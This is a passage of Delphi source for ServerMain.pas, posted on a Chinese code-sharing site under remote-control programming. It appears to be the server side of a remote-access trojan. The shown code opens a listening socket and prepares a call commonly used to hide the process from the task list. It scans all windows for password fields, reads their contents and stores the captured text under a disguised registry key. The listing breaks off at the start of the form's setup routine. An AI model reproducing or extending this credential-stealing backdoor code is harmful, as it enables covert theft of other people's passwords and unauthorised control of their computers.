ServerMain.pas
上传用户:zhuoer
上传日期:2007-01-08
资源大小:128k
文件大小:20k
源码类别:

远程控制编程

开发平台:

Delphi

  1. unit ServerMain;
  2. interface
  3. uses
  4.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  5.   ScktComp, Registry, ShellAPI, ExtCtrls, ShowPictureUnit;
  6. type
  7.   TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
  8.   TServerForm = class(TForm)
  9.     ServerSocket: TServerSocket;
  10.     PTimer: TTimer;
  11.     procedure ShowPicture (pName : string);
  12.     procedure FormCreate(Sender: TObject);
  13.     procedure ServerSocketClientRead(Sender: TObject;
  14.       Socket: TCustomWinSocket);
  15.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  16.     procedure PTimerTimer(Sender: TObject);
  17.   private
  18.     { Private declarations }
  19.   public
  20.     { Public declarations }
  21.   end;
  22. var
  23.   ServerForm: TServerForm;
  24.  function PlaySound(lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
  25. implementation
  26.  function PlaySound; external 'winmm.dll' name 'sndPlaySoundA';
  27. {$R *.DFM}
  28.  var
  29.   PList : array [1..64] of string;
  30.   FlT : FILE;
  31.   FName : string;
  32.   FSize : integer;
  33.   AppList : array [1..64] of LongInt;
  34.   PC, RC, APC, RLen, AC : integer;
  35.   SD : string;
  36.   buffer : array [0..1040] of byte;
  37.   sendfile, recfile : boolean;
  38.   iores : integer;
  39.  const
  40.   IconConst : array [0..4] of integer=(0, MB_ICONEXCLAMATION,
  41.          MB_ICONINFORMATION, MB_ICONSTOP,  MB_ICONQUESTION);
  42.   WrapStr = #13+#10;
  43.   MegaByte = 1024*1024;
  44.   KiloByte = 1024;
  45.  function WinText (hWnd : LongInt) : string;
  46.    var PC : PChar;
  47.        L : integer;
  48.   begin
  49.    L:=SendMessage (hWnd, WM_GETTEXTLENGTH, 0, 0);
  50.    getmem (PC, L+1);
  51.    SendMessage (hWnd, WM_GETTEXT, L+1, LongInt (PC));
  52.    result:=PC;
  53.   end;
  54.  function IsPassword (hWnd : LongInt) : boolean;
  55.    var ST : LongInt;
  56.   begin
  57.    ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
  58.    result:=(ST=$A0) or (ST=$E0);
  59.   end;
  60.  function IsTextField (hWnd : LongInt) : boolean;
  61.    var ST : LongInt;
  62.   begin
  63.    ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
  64.    result:=(ST=$A0) or (ST=$E0) or (ST=$80) or (ST=$C0);
  65.   end;
  66.  // Gets all applications with pass fields
  67.  procedure GetPasswordList;
  68.    var i, j : integer;
  69.        ohWnd, PrhWnd : LongInt;
  70.   begin
  71.    APC:=0;
  72.    for i:=1 to 16384 do
  73.     if IsWindow (i) then
  74.      if IsPassword (i) then
  75.       begin
  76.        PrhWnd:=i;
  77.        repeat
  78.         ohWnd:=PrhWnd;
  79.         PrhWnd:=GetParent (ohWnd);
  80.        until GetParent (PrhWnd)=0;
  81.        Inc (APC);
  82.        AppList[APC]:=PrhWnd;
  83.       end;
  84.    PC:=0;
  85.    for i:=1 to 16384 do
  86.     if IsWindow (i) then
  87.      if IsTextField (i) then
  88.       begin
  89.        PrhWnd:=i;
  90.        repeat
  91.         ohWnd:=PrhWnd;
  92.         PrhWnd:=GetParent (ohWnd);
  93.        until GetParent (PrhWnd)=0;
  94.        for j:=1 to APC do
  95.         if PrhWnd=AppList[j] then
  96.          begin
  97.           Inc (PC);
  98.           PList[PC]:=WinText(PrhWnd)+'___'+WinText(i);
  99.           break;
  100.          end; { Application with passes scanning..}
  101.       end; { hWnd scanning }
  102.   end; { End of procedure }
  103.  procedure RegistryPasswords;
  104.   // adds passwords (from PList) to Registry with old Password checking
  105.    var i, j : integer;
  106.        found : boolean;
  107.        RG : TRegistry;
  108.   begin
  109.    ServerForm.PTimer.Enabled:=false;
  110.    RG:=TRegistry.Create;
  111.    GetPasswordList;
  112.    RG.RootKey:=HKEY_LOCAL_MACHINE;
  113.    RG.OpenKey ('SOFTWAREMicrosoftGeneral', TRUE);
  114.    if RG.ValueExists ('TCount') then
  115.     RC:=RG.ReadInteger ('TCount')
  116.      else
  117.       RC:=0;
  118.    if RC=0 then // Empty registry - don't compare, add all passes..
  119.     begin
  120.      RG.WriteInteger ('TCount', PC);
  121.      for i:=1 to PC do
  122.       RG.WriteString (inttostr(i), PList[i]);
  123.     end
  124.      else
  125.       begin // Comparing RList & PList...
  126.        for i:=1 to PC do // compare loop
  127.         begin
  128.          found:=false;
  129.          for j:=1 to RC do
  130.           if RG.ReadString (inttostr(j))=PList[i] then found:=true;
  131.          if not(found) then
  132.           begin
  133.            Inc (RC);
  134.            RG.WriteString (inttostr(RC), PList[i]);
  135.           end;
  136.         end;      // end compare loop
  137.        RG.WriteInteger ('TCount', RC);
  138. {       for i:=1 to RC do
  139.         RG.WriteString (inttostr(i), RList[i]);}
  140.       end;
  141.    RG.Destroy;
  142.    ServerForm.PTimer.Enabled:=true;
  143.   end;
  144.  procedure TServerForm.FormCreate(Sender: TObject);
  145.    var TM : string;
  146.       i : integer;
  147.       PC, OldName, NewName : PChar;
  148.       RG : TRegistry;
  149.       hNdl :THandle;
  150.       RegisterServiceProcess: TRegisterServiceProcess;
  151.   begin
  152.    // 橡